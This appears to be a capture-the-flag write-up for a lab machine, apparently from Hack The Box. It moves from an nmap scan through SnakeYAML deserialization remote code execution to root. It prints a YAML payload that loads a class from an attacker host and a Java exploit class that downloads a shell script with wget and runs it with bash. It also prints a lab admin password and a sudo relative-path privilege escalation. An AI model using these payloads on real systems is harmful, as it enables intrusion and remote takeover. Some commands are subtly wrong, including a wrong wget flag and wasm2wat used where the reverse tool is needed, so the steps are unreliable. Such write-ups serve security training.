Foothold
10.10.10.227
Nmap scan report for 10.10.10.227 (10.10.10.227)
Host is up (0.32s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.38
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.18 seconds
Port 8080
Apache Tomcat 9.0.38 ![[Pasted image 20210620083433.png]] YAML parser functionality Maybe YAML Deserilization => RCE?
Tried inserting normal YAML and got an error. ![[Pasted image 20210620083638.png]]
I think showing an error doesn't mean that the YAML data is already being parsed on the server.
https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858
From this blogSo lets try blind injection with
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
Got the same error, but looking at my python server i got a hit. ![[Pasted image 20210620083939.png]]
POC
yaml/exploit.java
package yaml;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class exploit implements ScriptEngineFactory {
public exploit() {
try {
Runtime.getRuntime().exec("ping -c 2 10.10.16.5");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
Compile it with javac yaml/exploit.java
META-INF/services/javax.script.ScriptEngineFactory
yaml.exploit
Now inject the same YAML data again and capture for icmp packets, and it runs successfully. Got ICMP request successfully ![[Pasted image 20210620100754.png]]
Now lets get a shell on the box!
Gaining Access
Edit exploit.java and add the following
public exploit() {
try {
Runtime.getRuntime().exec("wget http://10.10.16.5:8000/embo.sh -w /tmp/embo.sh");
Runtime.getRuntime().exec("bash /tmp/embo.sh");
}
And recompile it again with javac yaml/exploit.java Now inject the same YAML data again and we get a shell on the box as "tomcat"!
Privilege Escalation
Basic enumeration we get
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
![[Pasted image 20210620113244.png]]
Trying SSH with (admin:whythereisalimit) and we are now user "admin".
Getting root
We can run /usr/bin/go run /opt/wasm-functions/index.go with root privileges. ![[Pasted image 20210621114301.png]]
Reading the index.go file we see that it reads "main.wasm" and executing "deploy.sh" without typing the full path, so it can be exploited by copying the files to a different directory. Also it checks for the value of variable "f".
- If "f" !=1 ==> "Not ready to deploy"
- If "f" == 1 ==> "Ready to deploy" and executes the "deploy.sh" file. ![[Pasted image 20210621114433.png]]
Also the current directory matters when running go application.
So we need to copy "deploy.sh" and "main.wasm" to another directory to modify them.
There is a tool that converts wasm <==> wat (https://github.com/WebAssembly/wabt)
- wat2wasm: translate from WebAssembly text format to the WebAssembly binary format.
- wasm2wat: the inverse of wat2wasm, translate from the binary format back to the text format (also known as a .wat).
Lets convert "main.wasm" to a readable format and change the value of "f" to 1. ./wasm2wat main.wasm -o main.wat Change i32.const from 0 to 1 and save the file. ![[Pasted image 20210621120806.png]]
Now lets convert main.wat to main.wasm again. mv main.wasm main.wasm.bak ./wasm2wat main.wat -o main.wasm chmod +x main.wasm deploy.sh Edit "deploy.sh" and add echo $(id); ![[Pasted image 20210621121211.png]]
Lets run sudo /usr/bin/go run /opt/wasm-functions/index.go from current directory. It successfully executed our "deploy.sh" file. ![[Pasted image 20210621121238.png]]
Now comes the exploitation
Lets modify the "deploy.sh" to give us a root shell instead of echoing the id. ![[Pasted image 20210621123149.png]]
Finally got a shell! ![[Pasted image 20210621123054.png]]